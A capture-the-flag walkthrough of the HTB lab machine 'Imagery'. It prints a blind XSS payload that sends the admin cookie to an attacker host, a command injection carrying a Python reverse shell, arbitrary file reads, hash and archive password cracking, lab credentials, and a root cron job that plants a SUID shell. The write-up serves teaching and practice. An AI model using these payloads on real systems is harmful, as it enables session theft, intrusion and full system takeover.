Machine Info

Spoiler

Imagery chains a blind XSS in an admin-reviewed bug report into a stolen admin session, an arbitrary file read that leaks the Flask source and an unsalted MD5 user database, a command injection in a test-user-only image crop feature for a shell as web, a pyAesCrypt-encrypted backup that leaks mark’s password, and a sudo-allowed backup tool whose cron scheduler runs commands as root.

In the contrary the official HTB path and description of the box goes as follows:

Imagery is a medium-difficulty Linux machine that involves gaining admin access via exploiting a blind XSS. With admin privileges, the attacker exploits arbitrary file read to read sensitive files and source code. By reading the web app’s source code, the attacker discovers a feature that allows them to modify/transform an image, thereby making it vulnerable to remote code execution. After gaining an initial foothold, the attacker finds a backup file encrypted with pyAesCrypt, which leaks credentials for the mark user account. The mark user account is allowed to execute a custom Python-written Charcol app as root. The attacker manages to reset the master password, create a cron job via the Charcol app, and obtain command execution as the root user.

User

Reconnaissance

We are going to start by running our nmap scan:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
ports=$(nmap -p- --min-rate=1000 -T4 $VICTIM | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)


└─$ nmap -p$ports -sC -sV $VICTIM
Starting Nmap 7.991 ( https://nmap.org ) at 2026-11-27 22:24 +0100
Nmap scan report for $VICTIM
Host is up (0.0047s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)
|_  256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)
8000/tcp open  http    Werkzeug httpd 3.1.3 (Python 3.12.7)
|_http-title: Image Gallery
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Only SSH and a Werkzeug server on 8000, so the back-end is Flask (Python). Add the host:

1
echo 'VICTIM-IP imagery.htb' | sudo tee -a /etc/hosts

We register an account and log in.

The app is an image gallery with an upload form (title, description, file) and, in the footer, a Report a Bug form that goes to an admin for review.

We played a bit with the upload feature but couldn’t really deliver an XSS attack. All fields were sanitized from the backend.

Tip
A Python back-end is not a PHP-style web shell target. Flask only executes the routes the developer defined; an uploaded .py is served as text or not at all. On a Python stack the question is what the app does with the file (command injection in image tooling, path traversal on write, SSTI, deserialization), not “can I upload a shell”.

The upload enforces an extension allowlist (File type not allowed by extension.), sanitises the stored filename, and the gallery JSON exposes a server-detected actual_mimetype. The interesting part is the client-side render code:

1
2
3
4
5
6
7
8
imageHtml = `
    <img
        src="${DOMPurify.sanitize(image.url)}"
        alt="${DOMPurify.sanitize(image.title)}"
        class="w-full h-48 object-cover rounded-t-xl"
        onerror="this.onerror=null; this.src='https://placehold.co/...'; ..."
    />
`;

DOMPurify.sanitize() cleans HTML text — it does not escape ". Inside a quoted attribute, a " in title would close alt and let us add our own event handler. Testing the title from Burp Repeater:

SentStored (gallery JSON)
x" onload="alert(1)x onload=alert(1)
x\" onload="alert(1)x\ onload=alert(1)
'x" onload="alert(1)'x onload=alert(1)
x&quot; onerror=&quot;alert(document.domain)//<b>x&quot; onerror=&quot;alert(document.domain)//b

The back-end strips " ' < > character by character (<b> → b) but keeps &, #, ;. Later, the source confirms it (utils.py):

1
2
elif field_type == 'text':
    sanitized_string = re.sub(r'[<>"\'`]', '', sanitized_string)

So why didn’t &quot; break out?

  • The HTML parser only ends an attribute value on a raw ". An entity is decoded as part of the value, so alt simply contained the text x" onerror=".... DevTools shows the parsed DOM, so it looks like a breakout — it isn’t.
  • The bypass needed DOMPurify to decode it first. DOMPurify returns its input unchanged when there is no <. With a <, it parses (turning &quot; into a real " in a text node) and re-serialises, and text serialisation does not escape quotes — a raw " would land inside alt="...". Verified locally:
"x&quot; onerror=&quot;alert(1)<b>"  =>  alt="x" onerror="alert(1)<b></b>"
"x&quot; onerror=&quot;alert(1)"     =>  alt="x&quot; onerror=&quot;alert(1)"

Here the back-end strips <, so DOMPurify always takes the fast path and there is no double decode. description uses the same filter, and the filename is sanitised (quotes and spaces removed).

Tip
DOMPurify.sanitize() in an attribute context is still a bug: it doesn’t escape quotes and it decodes entities on its parse/serialise round trip. Look for filter → decode step → sink. On Imagery the server-side blacklist on " ' < > happens to close the gap.

The admin panel is rendered client-side, so its code is readable in the page source. loadBugReports() builds each report card:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
const response = await fetch(`${window.location.origin}/admin/bug_reports`);
...
reportCard.innerHTML = `
    <p class="text-sm text-gray-500 mb-2">Submitted by: ${DOMPurify.sanitize(report.reporter)} ...</p>
    <h3 class="text-xl font-semibold text-gray-800 mb-3">Bug Name: ${DOMPurify.sanitize(report.name)}</h3>
    <h3 class="text-xl font-semibold text-gray-800 mb-3">Bug Details:</h3>
    <div class="bg-gray-100 p-4 rounded-lg overflow-auto max-h-48 text-gray-700 break-words">
        ${report.details}
    </div>
    ...
`;

Every field is wrapped in DOMPurify.sanitize() except report.details, which goes raw into innerHTML — stored XSS that fires in the admin’s browser when the review bot opens the panel.

The first round of classic blind payloads got no callback at all:

1
2
3
4
<script src=http://ATTACKER-IP/FIELD></script>
"><script src=http://ATTACKER-IP/FIELD></script>
<script>$.getScript("http://ATTACKER-IP/FIELD")</script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://ATTACKER-IP\';document.body.appendChild(a)')
Important
<script> inserted through innerHTML never executes — browsers deliberately ignore it. javascript: only runs as a loaded or clicked URL, and $.getScript needs jQuery on the page. For DOM-rendered sinks, use elements that load or fire events: <img src=x onerror=...>, <svg onload=...>.

A plain <img> per field is the cleanest probe — it needs no JavaScript and tells us which field renders:

1
2
<img src=http://ATTACKER-IP:8888/name>
<img src=http://ATTACKER-IP:8888/details>

Then an event handler in details to exfiltrate the cookie:

1
<img src=x onerror="fetch('http://ATTACKER-IP:8888/?c='+document.cookie)">
1
2
3
4
5
└─$ python -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
VICTIM-IP - - [28/Nov/2026 19:59:12] code 404, message File not found
VICTIM-IP - - [28/Nov/2026 19:59:12] "GET /details HTTP/1.1" 404 -
VICTIM-IP - - [28/Nov/2026 20:01:12] "GET /?c=session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.awsk9Q.E2kFb7-zzJliAw6BSyjpqExkI_Q HTTP/1.1" 200 -

Only /details called back: DOMPurify would keep a plain <img src=http://...>, so name is most likely also stripped by the back-end filter. The cookie is readable from JavaScript because the app explicitly disables HttpOnly (app.py, below).

Admin panel — arbitrary file read

With the admin cookie in the browser we have the admin panel. Fuzzing the /admin/ routes:

1
2
3
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://VICTIM-IP:8000/admin/FUZZ -H "Cookie: session=<admin session>"
...
users                   [Status: 200, Size: 232, Words: 1, Lines: 2, Duration: 85ms]
1
2
└─$ curl http://VICTIM-IP:8000/admin/users -H "Cookie: session=<admin session>"
{"anyAdminExists":true,"success":true,"users":[{"displayId":"a1b2c3d4","isAdmin":true,"isTestuser":false,"username":"[email protected]"},{"displayId":"e5f6g7h8","isAdmin":false,"isTestuser":true,"username":"[email protected]"}]}

The panel downloads system logs through /admin/get_system_log?log_identifier=. The parameter takes an absolute path — no ../ needed:

1
2
3
4
5
6
7
└─$ ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt -u 'http://VICTIM-IP:8000/admin/get_system_log?log_identifier=FUZZ' -H "Cookie: session=<admin session>" -fs 186,0 -fc 500
...
/etc/passwd             [Status: 200, Size: 1982, Words: 17, Lines: 39, Duration: 7ms]
/etc/hosts              [Status: 200, Size: 234, Words: 23, Lines: 10, Duration: 22ms]
/etc/crontab            [Status: 200, Size: 1136, Words: 192, Lines: 24, Duration: 69ms]
/etc/ssh/sshd_config    [Status: 200, Size: 3545, Words: 323, Lines: 132, Duration: 67ms]
...
1
2
3
4
5
6
└─$ curl 'http://VICTIM-IP:8000/admin/get_system_log?log_identifier=/etc/passwd' -H "Cookie: session=<admin session>"
root:x:0:0:root:/root:/bin/bash
...
web:x:1001:1001::/home/web:/bin/bash
...
mark:x:1002:1002::/home/mark:/bin/bash

Two login users: web and mark. sshd_config has PasswordAuthentication no, so SSH is key-only — no point brute-forcing it.

Reading the source

On a Python app an LFI is a file read, not code execution — there is no PHP-style include(). Its value is reading the app’s own code and data. /proc/self is the app process itself:

1
2
└─$ curl -s 'http://imagery.htb:8000/admin/get_system_log?log_identifier=/proc/self/cmdline' -H "Cookie: session=<admin session>" --ignore-content-length | tr '\0' ' '
/home/web/web/env/bin/python app.py

The app runs as web, from a venv, and app.py is relative — so the source lives in the working directory, /home/web/web/.

Tip
A plain curl of /proc/self/cmdline returned nothing, while Burp showed the body. /proc files report size 0 in stat(), so Flask’s send_file() sends Content-Length: 0 (the -0- in the ETag is that size) but still streams the content. curl trusts the header and stops at 0 bytes; Burp reads until the connection closes. Use Burp or curl --ignore-content-length for every /proc read. Arguments are NUL-separated, hence the tr '\0' ' '.

/home/web/web/app.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
from config import *
from utils import _load_data, _save_data
from utils import *
from api_auth import bp_auth
from api_upload import bp_upload
from api_manage import bp_manage
from api_edit import bp_edit
from api_admin import bp_admin
from api_misc import bp_misc

app_core = Flask(__name__)
app_core.secret_key = os.urandom(24).hex()
app_core.config['SESSION_COOKIE_HTTPONLY'] = False

SESSION_COOKIE_HTTPONLY = False is why document.cookie returned the admin session. The secret key is random per start, so forging cookies is off the table.

/home/web/web/config.py (relevant parts)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
DATA_STORE_PATH = 'db.json'
UPLOAD_FOLDER = 'uploads'
MAX_LOGIN_ATTEMPTS = 10
ACCOUNT_LOCKOUT_DURATION_MINS = 1
ALLOWED_MEDIA_EXTENSIONS = {'jpg', 'jpeg', 'png', 'gif', 'bmp', 'tiff', 'pdf'}
ALLOWED_IMAGE_EXTENSIONS_FOR_TRANSFORM = {'jpg', 'jpeg', 'png', 'gif', 'bmp', 'tiff'}
BYPASS_LOCKOUT_HEADER = 'X-Bypass-Lockout'
BYPASS_LOCKOUT_VALUE = os.getenv('CRON_BYPASS_TOKEN', 'default-secret-token-for-dev')
OUTBOUND_BLOCKED_PORTS = {80, 8080, 53, 5000, 8000, 22, 21}
IMAGEMAGICK_CONVERT_PATH = '/usr/bin/convert'
EXIFTOOL_PATH = '/usr/bin/exiftool'

/home/web/web/db.json

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
{
    "users": [
        {
            "username": "[email protected]",
            "password": "5d9c1d507a3f76af1e5c97a3ad1eaa31",
            "isAdmin": true,
            "isTestuser": false,
            ...
        },
        {
            "username": "[email protected]",
            "password": "2c65c8d7bfbca32a3ed42596192384f6",
            "isAdmin": false,
            "isTestuser": true,
            ...
        }
    ],
    ...
}

Unsalted MD5 (_hash_password() in utils.py is a bare hashlib.md5):

Testuser's password
1
2
└─$ hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt --show
2c65c8d7bfbca32a3ed42596192384f6:iambatman
Tip
Before the hash route we tried to brute-force testuser on /login and hit the lockout (10 attempts → 1 minute; the response grows from 60 to 79 bytes when it kicks in). config.py shows an X-Bypass-Lockout header that skips it. The real token turned up later in the admin bot (K7Zg9vB$24NmW!q8xR0p%tL!), so CRON_BYPASS_TOKEN is set and the dev default doesn’t work.

testuser — command injection in the crop transform

The front-end hides image editing behind a client-side check:

1
2
3
4
if (!loggedInUserIsTestUser) {
    showMessage('Feature still in production.', 'error');
    return;
}

The real gate is server-side (session['is_testuser_account']) in api_edit.py, which holds the testuser-only endpoints /edit_image_details, /convert_image, /delete_image_metadata and /apply_visual_transform.

api_edit.py — /apply_visual_transform
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
@bp_edit.route('/apply_visual_transform', methods=['POST'])
def apply_visual_transform():
    if not session.get('is_testuser_account'):
        return jsonify({'success': False, 'message': 'Feature is still in development.'}), 403
    if 'username' not in session:
        return jsonify({'success': False, 'message': 'Unauthorized. Please log in.'}), 401
    request_payload = request.get_json()
    image_id = request_payload.get('imageId')
    transform_type = request_payload.get('transformType')
    params = request_payload.get('params', {})
    if not image_id or not transform_type:
        return jsonify({'success': False, 'message': 'Image ID and transform type are required.'}), 400
    application_data = _load_data()
    original_image = next((img for img in application_data['images'] if img['id'] == image_id and img['uploadedBy'] == session['username']), None)
    if not original_image:
        return jsonify({'success': False, 'message': 'Image not found or unauthorized to transform.'}), 404
    original_filepath = os.path.join(UPLOAD_FOLDER, original_image['filename'])
    if not os.path.exists(original_filepath):
        return jsonify({'success': False, 'message': 'Original image file not found on server.'}), 404
    if original_image.get('actual_mimetype') not in ALLOWED_TRANSFORM_MIME_TYPES:
        return jsonify({'success': False, 'message': f"Transformation not supported for '{original_image.get('actual_mimetype')}' files."}), 400
    original_ext = original_image['filename'].rsplit('.', 1)[1].lower()
    if original_ext not in ALLOWED_IMAGE_EXTENSIONS_FOR_TRANSFORM:
        return jsonify({'success': False, 'message': f"Transformation not supported for {original_ext.upper()} files."}), 400
    try:
        unique_output_filename = f"transformed_{uuid.uuid4()}.{original_ext}"
        output_filename_in_db = os.path.join('admin', 'transformed', unique_output_filename)
        output_filepath = os.path.join(UPLOAD_FOLDER, output_filename_in_db)
        if transform_type == 'crop':
            x = str(params.get('x'))
            y = str(params.get('y'))
            width = str(params.get('width'))
            height = str(params.get('height'))
            command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
            subprocess.run(command, capture_output=True, text=True, shell=True, check=True)
        elif transform_type == 'rotate':
            degrees = str(params.get('degrees'))
            command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, '-rotate', degrees, output_filepath]
            subprocess.run(command, capture_output=True, text=True, check=True)
        elif transform_type == 'saturation':
            value = str(params.get('value'))
            command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, '-modulate', f"100,{float(value)*100},100", output_filepath]
            subprocess.run(command, capture_output=True, text=True, check=True)
        elif transform_type == 'brightness':
            value = str(params.get('value'))
            command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, '-modulate', f"100,100,{float(value)*100}", output_filepath]
            subprocess.run(command, capture_output=True, text=True, check=True)
        elif transform_type == 'contrast':
            value = str(params.get('value'))
            command = [IMAGEMAGICK_CONVERT_PATH, original_filepath, '-modulate', f"{float(value)*100},{float(value)*100},{float(value)*100}", output_filepath]
            subprocess.run(command, capture_output=True, text=True, check=True)
        else:
            return jsonify({'success': False, 'message': 'Unsupported transformation type.'}), 400
        ...

The vulnerable branch:

1
2
3
4
5
6
7
if transform_type == 'crop':
    x = str(params.get('x'))
    y = str(params.get('y'))
    width = str(params.get('width'))
    height = str(params.get('height'))
    command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
    subprocess.run(command, capture_output=True, text=True, shell=True, check=True)

The crop parameters (x, y, width, height) are taken straight from the JSON body, converted with str() and placed into an f-string that builds the convert command. That string is run with shell=True, so /bin/sh interprets it, and any shell metacharacter in a parameter (;, |, $()) ends the convert command and starts our own. The other transforms aren’t vulnerable: rotate passes a list without a shell (shell characters are just text in one argument), and saturation / brightness / contrast go through float(), which rejects anything non-numeric.

Preconditions: logged in as testuser, and an image uploaded by testuser (uploadedBy is checked) that is a real jpg/png/gif (actual_mimetype is checked too). We upload one as testuser, grab its imageId, start a listener and send the crop request from Burp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
POST /apply_visual_transform HTTP/1.1
Host: imagery.htb:8000
Content-Type: application/json
Cookie: session=<testuser session>

{
    "imageId":"979dfecc-2b92-4406-8d15-e74cb6c0bc94",
    "transformType": "crop",
    "params":  {
        "x": "300",
        "y": "500; python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"ATTACKER-IP\",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"/bin/sh\")'",
        "width":  "400",
        "height":    "600"
    }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [ATTACKER-IP] from (UNKNOWN) [VICTIM-IP] 42842
$ ls
api_admin.py  api_manage.py  app.py     db.json      static       uploads
api_auth.py   api_misc.py    bot        env          system_logs  utils.py
api_edit.py   api_upload.py  config.py  __pycache__  templates
$ pwd
/home/web/web
$ whoami
web
Tip
Prevention (for reports): Never build shell commands from user input. Pass arguments as a list to subprocess.run() without shell=True, and validate parameters against their expected type (here, integers) — exactly what the rotate branch in the same file already does.

Lateral movement — web → mark

~/web/bot/admin.py is the Selenium bot that fell for our XSS — headless Chrome logging in as admin:

1
2
3
4
5
6
7
8
9
web@Imagery:~/web/bot$ cat admin.py
...
# ----- Config -----
CHROME_BINARY = "/usr/bin/google-chrome"
USERNAME = "[email protected]"
PASSWORD = "strongsandofbeach"
BYPASS_TOKEN = "K7Zg9vB$24NmW!q8xR0p%tL!"
APP_URL = "http://0.0.0.0:8000"
# ------------------

The admin password is not reused for mark (su mark fails). linpeas on web is mostly noise — snap SUIDs and capabilities, chrome-sandbox, a false-positive “private SSH key” in /etc/ImageMagick-6/mime.xml, and ~/.pki/nssdb (Chrome’s certificate store, created by the bot). Non-default directories are the lead:

1
2
3
4
5
web@Imagery:~$ ls -la /var/backup
total 22524
drwxr-xr-x  2 root root     4096 Sep 22  2025 .
drwxr-xr-x 14 root root     4096 Sep 22  2025 ..
-rw-rw-r--  1 root root 23054471 Aug  6  2024 web_20250806_120723.zip.aes
Tip
/var/backups (with an s) is standard Debian — the dpkg/apt rotations. /var/backup doesn’t exist on a default install, so someone created it. A world-readable encrypted archive of an older copy of the web app means an older db.json.

Serve it from the box and pull it:

1
2
3
web@Imagery:/var/backup$ python3 -m http.server 8887
Serving HTTP on 0.0.0.0 port 8887 (http://0.0.0.0:8887/) ...
ATTACKER-IP - - [29/Nov/2026 09:25:42] "GET /web_20250806_120723.zip.aes HTTP/1.1" 200 -
1
2
3
4
5
6
└─$ wget http://imagery.htb:8887/web_20250806_120723.zip.aes -O ./web_20250806_120723.zip.aes
...
2026-11-29 10:25:42 (54.3 MB/s) - ‘./web_20250806_120723.zip.aes’ saved [23054471/23054471]

└─$ file web_20250806_120723.zip.aes
web_20250806_120723.zip.aes: AES encrypted data, version 2, created by "pyAesCrypt 6.1.1"

pyAesCrypt (AES Crypt format) isn’t supported by hashcat or john, so a short loop over rockyou does it. The format verifies the password before decrypting the 22 MB body, so wrong guesses fail fast:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import pyAesCrypt

with open("/usr/share/wordlists/rockyou.txt", "r", encoding="latin-1") as f:
    for i, line in enumerate(f, 1):
        password = line.rstrip("\n")
        try:
            pyAesCrypt.decryptFile("../web_20250806_120723.zip.aes", "../web_20250806_120723.zip", password)
            print(f"[+] Found password: {password!r}")
            break
        except ValueError:
            if i % 1000 == 0:
                print(f"[-] Tried {i} passwords...", flush=True)

Backup file password
1
2
└─$ python decrypt.py
[+] Found password: 'bestfriends'

Having the AES password cracked and decrypted we look at the backup zip. The backup’s db.json still has users that were removed from production:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
{
    "users": [
        ...
        {
            "username": "[email protected]",
            "password": "01c3d2e5bdaf6134cec0a367cf53e535",
            "displayId": "868facaf",
            "isAdmin": false,
            ...
        },
        {
            "username": "[email protected]",
            "password": "84e3c804cf1fa14306f26f9f3da177e0",
            "displayId": "7be291d4",
            "isAdmin": true,
            ...
        }
    ]
}
Mark's password
1
2
└─$ hashcat -m 0 mark.hash /usr/share/wordlists/rockyou.txt --show
01c3d2e5bdaf6134cec0a367cf53e535:supersmash

The web password is reused for the system account. SSH is key-only, but su from our shell takes a password:

1
2
3
4
5
web@Imagery:~/web$ su mark
Password: <REDACTED>
mark@Imagery:/home/web/web$ cd
mark@Imagery:~$ ls
user.txt

That is how we get the user.txt.

Root

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
mark@Imagery:~$ sudo -l
sudo -l
Matching Defaults entries for mark on Imagery:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User mark may run the following commands on Imagery:
    (ALL) NOPASSWD: /usr/local/bin/charcol

mark@Imagery:~$ ls -la /usr/local/bin/charcol
ls -la /usr/local/bin/charcol
-rwxr-x--- 1 root root 69 Aug  4  2025 /usr/local/bin/charcol

charcol is a custom backup tool. Running it asks for an application password we don’t know, but its global flags include a reset:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
Global Flags (apply to all commands unless overridden):
  --app-password <password>    : Provide the Charcol *application password* directly. Required for 'auto' commands if status 1. Less secure than interactive prompt.
  -p, "--password" <password>    : Provide the *file encryption/decryption password* directly. Overrides application password for file operations. Less secure than --ask-password.
  -v, "--verbose"                : Enable verbose output.
  --quiet                      : Suppress informational output (show only warnings and errors).
  --log-file <path>            : Log all output to a specified file.
  --dry-run                    : Simulate actions without actual file changes (for 'backup' and 'fetch').
  --ask-password               : Prompt for the *file encryption/decryption password* securely. Overrides -p and application password for file operations.
  --no-banner                   : Do not display the ASCII banner.
  -R, "--reset-password-to-default"  : Reset application password to default (requires system password verification).

-R only verifies the system password of the calling user — and we have mark’s:

1
2
3
4
5
6
7
8
sudo /usr/local/bin/charcol -R

Attempting to reset Charcol application password to default.
[2026-11-30 09:53:03] [INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm: 
<REDACTED>

[2026-11-30 09:53:06] [INFO] System password verified successfully.

Restarting the shell after the reset triggers first-time setup, where we set our own application password and or just skip it all together:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
sudo /usr/local/bin/charcol shell

First time setup: Set your Charcol application password.
Enter '1' to set a new password, or press Enter to use 'no password' mode: 

Are you sure you want to use 'no password' mode? (yes/no): yes
yes
[2026-11-30 09:53:26] [INFO] Default application password choice saved to /root/.charcol/.charcol_config
Using 'no password' mode. This choice has been remembered.
Please restart the application for changes to take effect.
mark@Imagery:~$ sudo /usr/local/bin/charcol shell


  ░██████  ░██                                                  ░██ 
 ░██   ░░██ ░██                                                  ░██ 
░██        ░████████   ░██████   ░██░████  ░███████   ░███████  ░██ 
░██        ░██    ░██       ░██  ░███     ░██    ░██ ░██    ░██ ░██ 
░██        ░██    ░██  ░███████  ░██      ░██        ░██    ░██ ░██ 
 ░██   ░██ ░██    ░██ ░██   ░██  ░██      ░██    ░██ ░██    ░██ ░██ 
  ░██████  ░██    ░██  ░█████░██ ░██       ░███████   ░███████  ░██ 
                                                                    
                                                                    
                                                                    
Charcol The Backup Suit - Development edition 1.0.0

[2026-11-30 09:53:35] [INFO] Entering Charcol interactive shell. Type 'help' for commands, 'exit' to quit.

Inside the charcol shell, the help lists an auto add command that schedules cron jobs. Since charcol runs as root via sudo, those jobs run as root. We schedule one that sets the SUID bit on bash:

1
2
3
4
5
6
7
8
9
charcol> auto add --schedule "* * * * *" --command "cp /bin/bash /home/mark/hbash; chmod u+s /home/mark/hbash" --name "hack"
<rk/hbash; chmod u+s /home/mark/hbash" --name "hack"
[2026-11-30 11:02:46] [INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm: 
<REDACTED>

[2026-11-30 11:02:57] [INFO] System password verified successfully.
[2026-11-30 11:02:57] [INFO] Auto job 'hack' (ID: ad84fa73-6e9e-40ed-a59f-0814df17d7e4) added successfully. The job will run according to schedule.
[2026-11-30 11:02:57] [INFO] Cron line added: * * * * * CHARCOL_NON_INTERACTIVE=true cp /bin/bash /home/mark/hbash; chmod u+s /home/mark/hbash
Tip
The application password protecting the cron feature is meaningless here: -R resets it using only the invoking user’s system password, and sudo makes the invoking user’s tool run as root. Any feature that runs arbitrary commands (“backup hooks”, schedulers, editors) in a sudo-allowed binary is a root shell.

Wait a minute for cron, check the SUID bit and spawn a privileged shell with -p:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
ls -al
ls -al
total 2408
drwxr-x--- 3 mark mark    4096 Nov 30 11:03 .
drwxr-xr-x 4 root root    4096 Sep 22  2025 ..
lrwxrwxrwx 1 root root       9 Sep 22  2025 .bash_history -> /dev/null
-rw-r--r-- 1 mark mark     220 Aug 20  2024 .bash_logout
-rw-r--r-- 1 mark mark    3771 Aug 20  2024 .bashrc
drwx------ 3 mark mark    4096 Nov 30 09:45 .gnupg
-rwsr-xr-x 1 root root 1474768 Nov 30 11:03 hbash
-rwxrwxr-x 1 mark mark  954437 Jan 24  2026 linpeas.sh
-rw-r--r-- 1 mark mark     807 Aug 20  2024 .profile
-rw-r----- 1 root mark      33 Nov 30 08:49 user.txt

mark@Imagery:~$ ./hbash -p
./hbash -p
hbash-5.2# whoami
whoami
root

This is how we get root.